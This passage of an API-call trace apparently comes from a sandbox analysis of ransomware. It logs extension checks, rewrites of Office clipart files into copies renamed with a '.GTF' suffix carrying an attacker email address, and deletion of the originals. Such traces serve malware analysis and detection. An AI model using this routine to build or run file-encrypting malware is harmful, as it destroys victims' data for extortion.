	[0088.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0088.618] lstrlenW (lpString=".zip") returned 4
	[0088.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.618] lstrlenW (lpString=".rar") returned 4
	[0088.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.618] lstrlenW (lpString=".bz2") returned 4
	[0088.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.618] lstrlenW (lpString=".7z") returned 3
	[0088.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0088.619] lstrlenW (lpString=".dbf") returned 4
	[0088.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0088.619] lstrlenW (lpString=".1cd") returned 4
	[0088.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0088.619] lstrlenW (lpString=".jpg") returned 4
	[0088.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.619] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.619] lstrlenW (lpString="FD02158_.WMF") returned 12
	[0088.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.619] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1648) returned 1
	[0088.619] CloseHandle (hObject=0x378) returned 1
	[0088.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x220
	[0088.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.620] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.620] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.620] GetLastError () returned 0x0
	[0088.620] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x670, lpOverlapped=0x0) returned 1
	[0088.622] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x680, lpOverlapped=0x0) returned 1
	[0088.623] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.623] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.623] SetEndOfFile (hFile=0x35c) returned 1
	[0088.623] CloseHandle (hObject=0x35c) returned 1
	[0088.623] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.623] SetEndOfFile (hFile=0x378) returned 1
	[0088.624] CloseHandle (hObject=0x378) returned 1
	[0088.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1
	[0088.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0088.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0088.624] lstrlenW (lpString=".doc") returned 4
	[0088.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.624] lstrlenW (lpString=".docx") returned 5
	[0088.625] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.625] lstrlenW (lpString=".pdf") returned 4
	[0088.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.625] lstrlenW (lpString=".xls") returned 4
	[0088.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.625] lstrlenW (lpString=".xlsx") returned 5
	[0088.625] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.625] lstrlenW (lpString=".ppt") returned 4
	[0088.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0088.625] lstrlenW (lpString=".zip") returned 4
	[0088.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.625] lstrlenW (lpString=".rar") returned 4
	[0088.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.625] lstrlenW (lpString=".bz2") returned 4
	[0088.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.625] lstrlenW (lpString=".7z") returned 3
	[0088.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0088.625] lstrlenW (lpString=".dbf") returned 4
	[0088.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0088.625] lstrlenW (lpString=".1cd") returned 4
	[0088.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0088.625] lstrlenW (lpString=".jpg") returned 4
	[0088.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0088.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0088.625] lstrlenW (lpString=".doc") returned 4
	[0088.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.625] lstrlenW (lpString=".docx") returned 5
	[0088.625] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.625] lstrlenW (lpString=".pdf") returned 4
	[0088.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.625] lstrlenW (lpString=".xls") returned 4
	[0088.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.626] lstrlenW (lpString=".xlsx") returned 5
	[0088.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.626] lstrlenW (lpString=".ppt") returned 4
	[0088.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0088.626] lstrlenW (lpString=".zip") returned 4
	[0088.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.626] lstrlenW (lpString=".rar") returned 4
	[0088.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.626] lstrlenW (lpString=".bz2") returned 4
	[0088.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.626] lstrlenW (lpString=".7z") returned 3
	[0088.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0088.626] lstrlenW (lpString=".dbf") returned 4
	[0088.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0088.626] lstrlenW (lpString=".1cd") returned 4
	[0088.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0088.626] lstrlenW (lpString=".jpg") returned 4
	[0088.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.626] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.626] lstrlenW (lpString="FD02161_.WMF") returned 12
	[0088.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.627] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3128) returned 1
	[0088.627] CloseHandle (hObject=0x378) returned 1
	[0088.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x220
	[0088.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.627] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.627] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.627] GetLastError () returned 0x0
	[0088.627] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xc38, lpOverlapped=0x0) returned 1
	[0088.704] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xc40, lpOverlapped=0x0) returned 1
	[0088.705] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.705] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.705] SetEndOfFile (hFile=0x35c) returned 1
	[0088.705] CloseHandle (hObject=0x35c) returned 1
	[0088.705] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.705] SetEndOfFile (hFile=0x378) returned 1
	[0088.706] CloseHandle (hObject=0x378) returned 1
	[0088.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1
	[0088.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0088.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0088.707] lstrlenW (lpString=".doc") returned 4
	[0088.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.707] lstrlenW (lpString=".docx") returned 5
	[0088.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.707] lstrlenW (lpString=".pdf") returned 4
	[0088.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.707] lstrlenW (lpString=".xls") returned 4
	[0088.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.707] lstrlenW (lpString=".xlsx") returned 5
	[0088.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.707] lstrlenW (lpString=".ppt") returned 4
	[0088.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0088.707] lstrlenW (lpString=".zip") returned 4
	[0088.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.708] lstrlenW (lpString=".rar") returned 4
	[0088.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.708] lstrlenW (lpString=".bz2") returned 4
	[0088.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.708] lstrlenW (lpString=".7z") returned 3
	[0088.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0088.708] lstrlenW (lpString=".dbf") returned 4
	[0088.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0088.708] lstrlenW (lpString=".1cd") returned 4
	[0088.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0088.708] lstrlenW (lpString=".jpg") returned 4
	[0088.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0088.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0088.708] lstrlenW (lpString=".doc") returned 4
	[0088.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.708] lstrlenW (lpString=".docx") returned 5
	[0088.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.708] lstrlenW (lpString=".pdf") returned 4
	[0088.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.708] lstrlenW (lpString=".xls") returned 4
	[0088.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.708] lstrlenW (lpString=".xlsx") returned 5
	[0088.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.708] lstrlenW (lpString=".ppt") returned 4
	[0088.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0088.708] lstrlenW (lpString=".zip") returned 4
	[0088.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.708] lstrlenW (lpString=".rar") returned 4
	[0088.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.708] lstrlenW (lpString=".bz2") returned 4
	[0088.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.709] lstrlenW (lpString=".7z") returned 3
	[0088.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0088.709] lstrlenW (lpString=".dbf") returned 4
	[0088.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0088.709] lstrlenW (lpString=".1cd") returned 4
	[0088.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0088.709] lstrlenW (lpString=".jpg") returned 4
	[0088.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.709] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.709] lstrlenW (lpString="HH00443_.WMF") returned 12
	[0088.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.710] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3298) returned 1
	[0088.710] CloseHandle (hObject=0x378) returned 1
	[0088.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x220
	[0088.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.710] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.711] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.711] GetLastError () returned 0x0
	[0088.711] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xce2, lpOverlapped=0x0) returned 1
	[0088.741] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xcf0, lpOverlapped=0x0) returned 1
	[0088.742] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.742] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.742] SetEndOfFile (hFile=0x35c) returned 1
	[0088.742] CloseHandle (hObject=0x35c) returned 1
	[0088.743] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.743] SetEndOfFile (hFile=0x378) returned 1
	[0088.743] CloseHandle (hObject=0x378) returned 1
	[0088.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1
	[0088.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0088.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0088.744] lstrlenW (lpString=".doc") returned 4
	[0088.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.744] lstrlenW (lpString=".docx") returned 5
	[0088.744] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.744] lstrlenW (lpString=".pdf") returned 4
	[0088.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.744] lstrlenW (lpString=".xls") returned 4
	[0088.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.744] lstrlenW (lpString=".xlsx") returned 5
	[0088.744] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.744] lstrlenW (lpString=".ppt") returned 4
	[0088.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0088.744] lstrlenW (lpString=".zip") returned 4
	[0088.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.744] lstrlenW (lpString=".rar") returned 4
	[0088.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.744] lstrlenW (lpString=".bz2") returned 4
	[0088.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.744] lstrlenW (lpString=".7z") returned 3
	[0088.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0088.745] lstrlenW (lpString=".dbf") returned 4
	[0088.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0088.745] lstrlenW (lpString=".1cd") returned 4
	[0088.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0088.745] lstrlenW (lpString=".jpg") returned 4
	[0088.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0088.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0088.745] lstrlenW (lpString=".doc") returned 4
	[0088.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.745] lstrlenW (lpString=".docx") returned 5
	[0088.745] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.745] lstrlenW (lpString=".pdf") returned 4
	[0088.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.745] lstrlenW (lpString=".xls") returned 4
	[0088.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.745] lstrlenW (lpString=".xlsx") returned 5
